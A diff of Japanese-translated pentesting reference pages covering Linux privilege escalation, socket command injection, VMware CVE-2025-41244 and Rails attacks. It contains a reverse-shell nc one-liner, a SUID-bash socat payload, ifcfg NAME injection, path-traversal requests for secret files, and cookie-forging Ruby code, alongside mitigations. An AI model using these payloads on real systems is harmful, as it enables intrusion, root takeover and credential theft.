[**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -何らかの理由でユーザーが `ifcf-` スクリプトを _/etc/sysconfig/network-scripts_ に **書き込める** か、既存のスクリプトを **調整できる** 場合、あなたのシステムは pwned です。 +何らかの理由でユーザーが `ifcf-` スクリプトを _/etc/sysconfig/network-scripts_ に **書き込める**、または既存のものを **修正できる** のであれば、あなたの **system is pwned**。 -Network scripts(例: _ifcg-eth0_)はネットワーク接続に使われます。見た目はまさに .INI ファイルそのものです。ただし、Linux では Network Manager (dispatcher.d) によって \~sourced\~ されます。 +Network scripts(例: _ifcg-eth0_)はネットワーク接続に使われます。見た目はまさに .INI ファイルです。しかし、Linux では Network Manager (dispatcher.d) によって \~sourced\~ されます。 -私のケースでは、これらの network スクリプト内の `NAME=` に設定された値が正しく処理されていません。名前に空白が含まれていると、システムは空白以降の部分を実行しようとします。つまり、最初の空白以降のすべてが root として実行されます。 +私のケースでは、これらの network スクリプト内の `NAME=` 属性が正しく処理されていませんでした。**名前に空白があると、システムは空白の後の部分を実行しようとする**。これは **最初の空白以降のすべてが root として実行される** ことを意味します。 例えば: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1451,17 +1478,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Network と /bin/id の間に空白があることに注意_) +(_Network と /bin/id の間の空白に注意_) ### **init, init.d, systemd, and rc.d** -ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **スクリプト** の格納場所で、従来の Linux サービス管理システムです。ここにはサービスを `start`、`stop`、`restart`、場合によっては `reload` するためのスクリプトが含まれます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` があります。 +ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **スクリプト** の格納場所です。これはクラシックな Linux サービス管理システムです。ここにはサービスを `start`、`stop`、`restart`、場合によっては `reload` するためのスクリプトが含まれます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` が使われます。 -一方、`/etc/init` は **Upstart** に関連付けられており、Ubuntu によって導入された新しい **サービス管理** で、設定ファイルを使ってサービス管理を行います。Upstart への移行後も、互換レイヤーのために SysVinit スクリプトは Upstart の設定と並行して使用されます。 +一方、`/etc/init` は **Upstart** に関連しており、Ubuntu が導入したより新しい **サービス管理** で、サービス管理のために設定ファイルを使用します。Upstart への移行にもかかわらず、互換レイヤーがあるため SysVinit スクリプトは Upstart の設定と並行してまだ利用されています。 -**systemd** はモダンな初期化およびサービスマネージャーとして登場し、オンデマンドでのデーモン起動、自動マウントの管理、システム状態のスナップショットなどの高度な機能を提供します。配布パッケージ用に `/usr/lib/systemd/`、管理者による変更用に `/etc/systemd/system/` にファイルを整理し、システム管理を効率化します。 +**systemd** はモダンな初期化およびサービスマネージャとして登場し、オンデマンドのデーモン起動、automount 管理、システム状態のスナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/`、管理者の変更用に `/etc/systemd/system/` に整理され、システム管理を簡素化します。 -## Other Tricks +## その他のトリック ### NFS Privilege escalation @@ -1486,7 +1513,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android の rooting frameworks は一般に syscall をフックして特権のあるカーネル機能を userspace の manager に公開します。弱い manager 認証(例:FD-order に基づく署名チェックや脆弱なパスワード方式)は、ローカルアプリが manager を偽装して、すでに root のデバイスで root にエスカレートすることを可能にする場合があります。詳細とエクスプロイト情報は以下を参照してください: +Android rooting frameworks は一般に syscall をフックして privileged kernel 機能を userspace manager に公開します。弱い manager 認証(例: FD-order に基づく signature checks や不十分なパスワード方式)により、ローカルアプリが manager を偽装して already-rooted devices 上で root に昇格できる場合があります。詳細と exploit の手順は以下を参照してください: {{#ref}} @@ -1495,9 +1522,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -VMware Tools/Aria Operations における正規表現駆動のサービス検出は、プロセスのコマンドラインからバイナリパスを抽出して privileged なコンテキストで -v を付けて実行することがあります。寛容なパターン(例:\S を使用)が書き込み可能な場所(例:/tmp/httpd)に配置された攻撃者のリスナーにマッチすると、root としての実行(CWE-426 Untrusted Search Path)につながる可能性があります。 +VMware Tools/Aria Operations の regex ベースの service discovery は、プロセスのコマンドラインからバイナリパスを抽出し、privileged コンテキストで `-v` を付けて実行することがあります。許容的なパターン(例: `\S` を使用)では、`/tmp/httpd` のような書き込み可能な場所に設置した攻撃者のリスナにマッチして root として実行される可能性があります(CWE-426 Untrusted Search Path)。 -詳細および他の discovery/monitoring スタックにも適用できる一般化パターンは以下を参照してください: +詳細と他の discovery/monitoring スタックにも適用できる一般化パターンは以下を参照してください: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -1514,20 +1541,20 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md ## Linux/Unix Privesc Tools -### **Linux のローカル privilege escalation ベクターを探すための最良のツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Linux と macOS のカーネル脆弱性を列挙する [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## 参考文献 - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index fa7d970d6..547a2fe29 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -4,7 +4,7 @@ ## Socket binding example with Python -以下の例では、**unix socket is created**(`/tmp/socket_test.s`)され、すべて**received**されたものが `os.system` によって**executed**されます。現実世界でこのようなコードを見つけることはまずないでしょうが、この例の目的は、unix sockets を使ったコードがどのように見えるか、そして最悪のケースで入力をどのように扱うかを確認することです。 +次の例では、**unix socket が作成されます**(`/tmp/socket_test.s`)そして**受信した**すべてが `os.system` によって**実行されます**。現実の環境でこれを見つけることはないとわかっていますが、この例の目的は unix sockets を使うコードがどのように見えるか、そして最悪のケースで入力をどのように扱うかを確認することです。 ```python:s.py import socket import os, os.path @@ -26,7 +26,7 @@ print(datagram) os.system(datagram) conn.close() ``` -**実行する** その code を python で: `python s.py` と **ソケットがどのようにリッスンしているか確認する**: +**実行** そのコードを python で実行する: `python s.py` と **socket がどのように待ち受けているかを確認する**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info @@ -37,15 +37,15 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` -## ケーススタディ: Root-owned UNIX socket signal-triggered escalation (LG webOS) +## 事例研究: Root-owned UNIX socket signal-triggered escalation (LG webOS) -一部の特権デーモンは、root-owned UNIX socket を公開しており、信頼できない入力を受け付け、特権アクションを thread-IDs と signals に結び付けます。プロトコルが非特権クライアントにどの native thread を対象にするか影響させる余地を与える場合、特権コードパスをトリガーして権限昇格できる可能性があります。 +一部の privileged daemons は、untrusted input を受け付け、privileged actions を thread-IDs と signals に結びつける root-owned UNIX socket を公開しています。protocol が unprivileged client によってどの native thread がターゲットになるかを左右できる場合、privileged code path を trigger して escalate できる可能性があります。 観察されたパターン: -- root-owned socket に接続する(例: /tmp/remotelogger)。 -- スレッドを作成し、その native thread id (TID) を取得する。 -- TID(packed)と padding をリクエストとして送信し、確認応答を受け取る。 -- その TID に特定の signal を送って特権動作をトリガーする。 +- root-owned socket(例: /tmp/remotelogger)に接続する。 +- thread を作成し、その native thread id (TID) を取得する。 +- TID(packed)と padding をリクエストとして送信し、acknowledgement を受け取る。 +- その TID に特定の signal を送って privileged behaviour を trigger する。 最小限の PoC スケッチ: ```python @@ -64,9 +64,9 @@ os.kill(tid, 4) # deliver SIGILL (example from the case) rm -f /tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc 23231 > /tmp/f ``` -注意: -- この種のバグは、特権のないクライアント状態(TIDs)から導出された値を信用し、それらを特権付きのシグナルハンドラやロジックに結びつけることから発生します。 -- socket 上で資格情報を強制し、message formats を検証し、特権操作を外部から供給された thread identifiers から切り離すことでハードニングしてください。 +ノート: +- このクラスのバグは、非特権クライアント状態(TIDs)から派生した値を信用し、それらを特権のシグナルハンドラやロジックに結びつけることから生じます。 +- socket 上で認証情報を強制し、メッセージ形式を検証し、特権操作を外部から提供されたスレッド識別子から切り離すことで強化します。 ## 参考文献 diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md index 28c89dc71..3f73d732a 100644 --- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -2,22 +2,22 @@ {{#include ../../banners/hacktricks-training.md}} -この手法は、実行中のプロセスのコマンドラインを解析してサービスのバージョンを推定し、候補バイナリを "version" フラグ付きで実行する、regex駆動の service discovery パイプラインを悪用します。許容度の高いパターンが信頼できない攻撃者制御のパス(例: /tmp/httpd)を受け入れると、特権を持つコレクタが信頼できない場所から任意のバイナリを実行し、Local privilege escalation を引き起こします。NVISO はこれを VMware Tools/Aria Operations Service Discovery の CVE-2025-41244 として文書化しました。 +この手法は、実行中のプロセスのコマンドラインを解析してサービスのバージョンを推定し、候補バイナリを "version" フラグ付きで実行する regex 駆動の service discovery パイプラインを悪用します。許容的なパターンが攻撃者制御の信頼されていないパス(例: /tmp/httpd)を受け入れると、特権を持つコレクタが信頼されていない場所から任意のバイナリを実行し、local privilege escalation を引き起こします。NVISO はこれを VMware Tools/Aria Operations Service Discovery における CVE-2025-41244 として文書化しました。 -- 影響: Local privilege escalation による root(または特権付き discovery アカウント)への昇格 -- 根本原因: Untrusted Search Path (CWE-426) + process command lines に対する permissive regex マッチング -- 影響対象: open-vm-tools/VMware Tools on Linux (credential-less discovery)、VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) +- 影響: Local privilege escalation to root (or to the privileged discovery account) +- 根本原因: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines +- 影響対象: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) -## VMware service discovery の仕組み(高レベル) +## How VMware service discovery works (high level) -- Credential-based (legacy): Aria は設定された特権資格情報を使用して VMware Tools 経由でゲスト内部で discovery スクリプトを実行します。 -- Credential-less (modern): Discovery ロジックはゲスト内で既に特権を持つ VMware Tools 内で動作します。 +- Credential-based (legacy): Aria が設定された特権資格情報を使い、VMware Tools 経由でゲスト内で discovery スクリプトを実行します。 +- Credential-less (modern): Discovery ロジックが既にゲスト内で特権を持つ VMware Tools 内で実行されます。 -どちらのモードも最終的にはシェルロジックを実行し、listening sockets を持つプロセスをスキャンし、regex によって一致するコマンドパスを抽出し、最初の argv トークンを version フラグ付きで実行します。 +両モードとも最終的には、リッスンしているソケットを持つプロセスをスキャンし、正規表現で一致するコマンドパスを抽出して、最初の argv トークンを version フラグ付きで実行するシェルロジックを実行します。 ## Root cause and vulnerable pattern (open-vm-tools) -open-vm-tools では、serviceDiscovery プラグインスクリプト get-versions.sh が広範な正規表現を用いて候補バイナリをマッチさせ、trusted-path 検証なしに最初のトークンを実行します: +In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation: ```bash get_version() { PATTERN=$1 @@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") done } ``` -これは、\S (non-whitespace) を含む寛容なパターンで呼び出され、ユーザーが書き込み可能な場所の非システムパスにも容易に一致します: +それは \S(空白以外)を含む寛容なパターンで呼び出され、ユーザーが書き込み可能な場所にある非システムパスにも容易にマッチします: ```bash get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v get_version "/usr/(bin|sbin)/apache\S*" -v @@ -39,22 +39,22 @@ get_version "/\S+/srm/bin/vmware-dr($|\s)" --version get_version "/\S+/dataserver($|\s)" -v ``` - 抽出は grep -Eo を使用し、最初のトークンを取得します: ${COMMAND%%[[:space:]]*} -- 信頼済みシステムパスの whitelist/allowlist がなく、マッチする名前を持つ発見された listener は -v/--version で実行されます +- 信頼されたシステムパスの whitelist/allowlist がなく、名前が一致した検出されたリスナーは -v/--version で実行されます -これにより untrusted search path execution primitive が作成されます: world-writable ディレクトリ(例: /tmp/httpd)にある任意のバイナリが特権コンポーネントによって実行されます。 +これにより untrusted search path execution primitive が生成されます: world-writable なディレクトリ(例: /tmp/httpd)に置かれた任意のバイナリが特権コンポーネントによって実行されます。 -## Exploitation (both credential-less and credential-based modes) +## Exploitation (クレデンシャル不要およびクレデンシャル有りモードの両方) -前提条件 -- ゲスト上でリスニングソケットを開く unprivileged プロセスを実行できる。 -- discovery job が有効で、定期的に実行される(歴史的には約5分間隔)。 +Preconditions +- ゲスト上でリスニングソケットを開く非特権プロセスを実行できること。 +- discovery job が有効で定期的に実行されること(歴史的には約5分)。 -手順 -1) 許容的な正規表現にマッチするパス(例: /tmp/httpd や ./nginx)にバイナリを配置する -2) 低権限ユーザとして実行し、いずれかのリスニングソケットを開くことを確認する -3) discovery サイクルを待つ; privileged collector が自動的に次のように実行する: /tmp/httpd -v(または同様)、あなたのプログラムが root として実行される +Steps +1) permissive regexes のいずれかにマッチするパス(例: /tmp/httpd または ./nginx)に binary をステージする +2) 低権限ユーザとして実行し、listening socket を開いていることを確認する +3) discovery cycle を待つ; 特権 collector は自動的に /tmp/httpd -v(または同様のコマンド)を実行し、あなたのプログラムを root として実行する -最小デモ(NVISO のアプローチを使用) +Minimal demo (using NVISO’s approach) ```bash # Build any small helper that: # - default mode: opens a dummy TCP listener @@ -66,60 +66,60 @@ chmod +x /tmp/httpd # After the next cycle, expect a root shell or your privileged action ``` 典型的なプロセスの系譜 -- 資格情報あり: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i -- 資格情報なし: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i +- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i -アーティファクト(資格情報あり) -回収された SDMP ラッパースクリプトが /tmp/VMware-SDMP-Scripts-{UUID}/ 配下にあり、不正なパスが直接実行されていることを示す場合があります: +アーティファクト (credential-based) +Recovered SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the rogue path: ```bash /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" ``` ## Generalizing the technique: regex-driven discovery abuse (portable pattern) -多くのエージェントや監視スイートは、バージョン/サービス検出を次の方法で実装している: -- リッスンソケットを持つプロセスを列挙する -- argv/command lines を寛容な regexes で grep する(例: パターンに \S を含む) -- マッチしたパスを -v, --version, -V, -h のような無害なフラグで実行する +多くのエージェントや監視スイートは、バージョン/サービス検出を次の方法で実装しています: +- リッスンしているソケットを持つプロセスを列挙する +- argv/command line を許容的な regex で grep する(例: \S を含むパターン) +- マッチしたパスを -v、--version、-V、-h のような無害なフラグで実行する -もし regex が信頼できないパスを受け入れ、かつそのパスが特権コンテキストから実行されると、CWE-426 Untrusted Search Path 実行につながる。 +もし regex が信頼されないパスを受け入れ、そのパスが特権コンテキストから実行されれば、CWE-426 Untrusted Search Path execution が発生します。 -Abuse recipe -- バイナリ名を、regex がマッチしやすい一般的なデーモン名にする: httpd, nginx, mysqld, dataserver +悪用手順 +- バイナリ名を、regex が一致しやすい一般的なデーモン名にする: httpd, nginx, mysqld, dataserver - 書き込み可能なディレクトリに配置する: /tmp/httpd, ./nginx -- regex にマッチし、列挙される任意のポートを開くようにする -- スケジュールされたコレクタを待つと、 -v の自動的な特権呼び出しが得られる +- regex に一致し、列挙されるために任意のポートを開くことを確認する +- スケジュールされたコレクタを待つと、自動的に特権で -v が呼び出される -Masquerading note: これは MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) と整合し、マッチ確率とステルス性を高める。 +マスカレーディング注記: これは MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) と整合し、一致確率とステルス性を高めます。 -Reusable privileged I/O relay trick -- ヘルパーを構築して、特権呼び出し時(-v/--version)に既知のランデブー(例: Linux の abstract UNIX socket の @cve)へ接続し、stdio を /bin/sh -i にブリッジするようにする。これによりディスク上のアーティファクトを避けられ、同じバイナリがフラグ付きで再呼び出しされる多くの環境で動作する。 +再利用可能な特権 I/O 中継トリック +- ヘルパーを次のように作る: 特権で呼び出されたとき(-v/--version)既知のランデブーポイント(例: Linux 抽象 UNIX ソケット @cve)に接続し、stdio を /bin/sh -i にブリッジする。これによりディスク上の痕跡を避けられ、同じバイナリがフラグ付きで再実行される多くの環境で動作する。 ## Detection and DFIR guidance -Hunting queries -- vmtoolsd や get-versions.sh の異常な子プロセス(例: /tmp/httpd, ./nginx, /tmp/mysqld) -- discovery スクリプトによる非システム絶対パスの実行(${COMMAND%%...} 展開でスペースを探す) -- ps -ef --forest で系譜ツリーを可視化: vmtoolsd -> get-versions.sh -> +ハンティングクエリ +- vmtoolsd や get-versions.sh の珍しい子プロセス(例: /tmp/httpd, ./nginx, /tmp/mysqld) +- discovery scripts による非システムの絶対パス実行(${COMMAND%%...} の展開内のスペースを確認) +- ps -ef --forest で親子関係ツリーを可視化する: vmtoolsd -> get-versions.sh -> On Aria SDMP (credential-based) -- /tmp/VMware-SDMP-Scripts-{UUID}/ を調査し、攻撃者パスの実行を示す一時スクリプトや stdout/stderr のアーティファクトを確認する +- /tmp/VMware-SDMP-Scripts-{UUID}/ を調査して、一時的なスクリプトや攻撃者パスの実行を示す stdout/stderr の痕跡を確認する Policy/telemetry -- 特権コレクタが非システム接頭辞から実行された場合にアラート: ^/(tmp|home|var/tmp|dev/shm)/ +- 特権コレクタが非システムプレフィックスから実行されたらアラートする: ^/(tmp|home|var/tmp|dev/shm)/ - get-versions.sh と VMware Tools プラグインのファイル整合性監視 ## Mitigations -- Patch: CVE-2025-41244(Tools および Aria Operations SDMP)に対する Broadcom/VMware のアップデートを適用する -- credential-less な discovery を無効化または制限する(可能な場合) -- 信頼できるパスを検証する: 実行を許可リスト化されたディレクトリに制限する(/usr/sbin, /usr/bin, /sbin, /bin)と既知の正確なバイナリのみを許可する -- \S を含む寛容な regexes を避ける; アンカー付きで明示的な絶対パスや正確なコマンド名を優先する -- discovery ヘルパーの特権を落とす(可能であれば); 影響を減らすために sandbox (seccomp/AppArmor) を適用する -- vmtoolsd/get-versions.sh が非システムパスを実行する場合は監視・アラートを出す +- パッチ: Broadcom/VMware の CVE-2025-41244(Tools および Aria Operations SDMP)向けアップデートを適用する +- 可能な場合は資格情報不要のディスカバリを無効化または制限する +- 信頼されたパスを検証する: 実行を許可リストのディレクトリ (/usr/sbin, /usr/bin, /sbin, /bin) に制限し、既知のバイナリのみ許可する +- \S を含む許容的な regex を避ける。アンカー付きで明示的な絶対パスや正確なコマンド名を使うことを推奨 +- 可能な場合は discovery helper の権限を落とす; 影響を減らすために sandbox(seccomp/AppArmor)を使用する +- vmtoolsd/get-versions.sh が非システムのパスを実行しているか監視しアラートする ## Notes for defenders and implementers -Safer matching and execution pattern +より安全なマッチングと実行パターン ```bash # Bad: permissive regex and blind exec COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") @@ -135,12 +135,12 @@ case "$candidate" in ;; esac ``` -## 参考文献 +## 参考資料 -- [NVISO – あなたが名付けたものは何でも、VMwareが昇格させる (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) -- [CVE-2025-41244 に関する Broadcom のアドバイザリ](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) - [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) -- [MITRE ATT&CK T1036.005 – 正当な名前または場所に一致させる](https://attack.mitre.org/techniques/T1036/005/) -- [CWE-426: 信頼できない検索パス](https://cwe.mitre.org/data/definitions/426.html) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index 96e63f678..bdaf28455 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -2,50 +2,50 @@ {{#include ../../banners/hacktricks-training.md}} -## ファイルアップロードによるRCE +## ファイルアップロードによる RCE -As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications. +この[記事](https://www.offsec.com/blog/cve-2024-46986/)で説明されているように、`config/initializers/` のような機密ディレクトリに `.rb` ファイルをアップロードすると、Ruby on Rails アプリケーションでリモートコード実行 (RCE) に繋がる可能性があります。 ヒント: -- アプリ起動時に実行される他の boot/eager-load の場所も、書き込み可能であれば同様に危険です(例: `config/initializers/` が典型)。もし任意のファイルアップロードが `config/` 以下のどこかに置かれ、後で評価/require される場合、起動時に RCE を得る可能性があります。 -- Rails が起動時にロードするコンテナイメージ内にユーザー制御のファイルをコピーするような dev/staging ビルドを探してください。 +- アプリ起動時に実行される他の boot/eager-load の場所も、書き込み可能だと危険です(例: `config/initializers/` が典型例)。任意のファイルアップロードが `config/` 配下のどこかに配置され、後で評価/require されるようなら、起動時に RCE を得られる可能性があります。 +- Rails が起動時に読み込むような場所にユーザ制御のファイルをコンテナイメージへコピーする dev/staging ビルドを探してください。 ## Active Storage image transformation → command execution (CVE-2025-24293) -アプリが Active Storage と `image_processing` + `mini_magick` を使用し、image transformation メソッドに信頼できないパラメータを渡す場合、Rails の 7.1.5.2 / 7.2.2.2 / 8.0.2.1 より前のバージョンでは、いくつかの変換メソッドが誤ってデフォルトで許可されていたため、command injection を許す可能性がありました。 +Active Storage を `image_processing` + `mini_magick` と共に使用し、信頼できないパラメータを画像変換メソッドに渡す場合、Rails 7.1.5.2 / 7.2.2.2 / 8.0.2.1 より前のバージョンでは、いくつかの変換メソッドが誤ってデフォルトで許可されていたためコマンドインジェクションを許す可能性がありました。 -- A vulnerable pattern looks like: +- 脆弱なパターンの例: ```erb <%= image_tag blob.variant(params[:t] => params[:v]) %> ``` -where `params[:t]` and/or `params[:v]` are attacker-controlled. +ここで `params[:t]` および/または `params[:v]` は攻撃者に制御されます。 - テスト時に試すこと - variant/processing オプション、変換名、または任意の ImageMagick 引数を受け取るエンドポイントを特定する。 -- `params[:t]` と `params[:v]` をファズして、疑わしいエラーや実行の副作用を探す。メソッド名に影響を与えられる、または MiniMagick に到達する生引数を渡せる場合、image processor ホスト上で code exec を得られる可能性があります。 -- 生成された variants に対して読み取りアクセスしかない場合、細工した ImageMagick 操作を使ってブラインドな exfiltration を試みる。 +- `params[:t]` と `params[:v]` をファズして、疑わしいエラーや実行の副作用を観察する。メソッド名に影響を与えられる、または MiniMagick に到達する生の引数を渡せる場合、画像処理ホスト上でコード実行を得られる可能性があります。 +- 生成された variants に対して読み取り専用しか持たない場合は、巧妙に作成した ImageMagick 操作を使ってブラインドでの情報持ち出しを試みる。 -- 修正/検知 -- Active Storage + `image_processing` + `mini_magick` を使用し、ユーザー制御の変換がある Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 を見かけたら、悪用可能と考えてください。アップグレードを推奨し、メソッド/パラメータの厳格な許可リスト適用と ImageMagick ポリシーの強化を行うよう勧めます。 +- 修正/検出 +- Active Storage + `image_processing` + `mini_magick` を使用しており、かつユーザ制御の変換がある Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 を見かけたら、悪用可能と考えてください。アップグレードを推奨し、メソッド/パラメータの厳格な許可リストと強化された ImageMagick ポリシーを適用してください。 -## Rack::Static の LFI / path traversal (CVE-2025-27610) +## Rack::Static LFI / path traversal (CVE-2025-27610) -ターゲットスタックが Rack ミドルウェアを直接またはフレームワーク経由で使用している場合、`rack` の 2.2.13、3.0.14、3.1.12 より前のバージョンでは、`:root` が未設定/誤設定だと `Rack::Static` 経由で Local File Inclusion を許す可能性があります。`PATH_INFO` にエンコードされたトラバーサルがあると、プロセスの作業ディレクトリや予期しない root 以下のファイルが露出することがあります。 +ターゲットスタックが直接またはフレームワーク経由で Rack ミドルウェアを使用している場合、`rack` の 2.2.13、3.0.14、3.1.12 より前のバージョンでは、`:root` が未設定/誤設定のときに `Rack::Static` 経由で Local File Inclusion が可能です。`PATH_INFO` にエンコードされたトラバーサルを含めることで、プロセスの作業ディレクトリや予期しないルート配下のファイルが露出することがあります。 -- `config.ru` やミドルウェアスタックに `Rack::Static` をマウントしているアプリを探す。例えば静的パスに対してエンコードされたトラバーサルを試す: +- `config.ru` やミドルウェアスタックで `Rack::Static` をマウントしているアプリを探してください。静的パスに対してエンコードされたトラバーサルを試します。例えば: ```text GET /assets/%2e%2e/%2e%2e/config/database.yml GET /favicon.ico/..%2f..%2f.env ``` -`urls:` に合わせて prefix を調整する。アプリがファイル内容で応答する場合、解決された `:root` 以下の任意のファイルへの LFI を得ている可能性が高い。 +設定された `urls:` に合わせてプレフィックスを調整してください。アプリがファイル内容で応答する場合、解決された `:root` 配下の任意のものに対する LFI を得ている可能性が高いです。 -- 緩和策: Rack をアップグレードする。`:root` が公開ファイルのディレクトリのみを指し、明示的に設定されていることを確認する。 +- 緩和策: Rack をアップグレードし、` :root` がパブリックファイルのディレクトリのみを指し、明示的に設定されていることを確認してください。 ## Forging/decrypting Rails cookies when `secret_key_base` is leaked -Rails は `secret_key_base` から派生したキーを使ってクッキーを暗号化し署名します。If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. これは、アプリが cookies に roles、user IDs、または feature flags を格納している場合、しばしば authz bypass に繋がります。 +Rails は `secret_key_base` から派生した鍵を使用してクッキーを暗号化および署名します。もしその値が leaks(例: リポジトリ、ログ、または誤設定された資格情報にある場合)、通常クッキーを復号、改変、再暗号化できます。アプリがクッキーに roles、user IDs、あるいは feature flags を保存している場合、これはしばしば authz bypass に繋がります。 -Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails): +現代のクッキー(AES-256-GCM、最近の Rails のデフォルト)を復号し再暗号化するための最小限の Ruby: ```ruby require 'cgi' require 'json' @@ -70,9 +70,9 @@ plain['role'] = 'admin' if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts "Forged cookie: #{CGI.escape(forged)}" ``` -注意: -- 古いアプリでは AES-256-CBC とソルト `encrypted cookie` / `signed encrypted cookie`、または JSON/Marshal シリアライザを使用している場合があります。ソルト、cipher、serializer を適宜調整してください。 -- 侵害/評価時には、既存のすべてのクッキーを無効化するために `secret_key_base` をローテーションしてください。 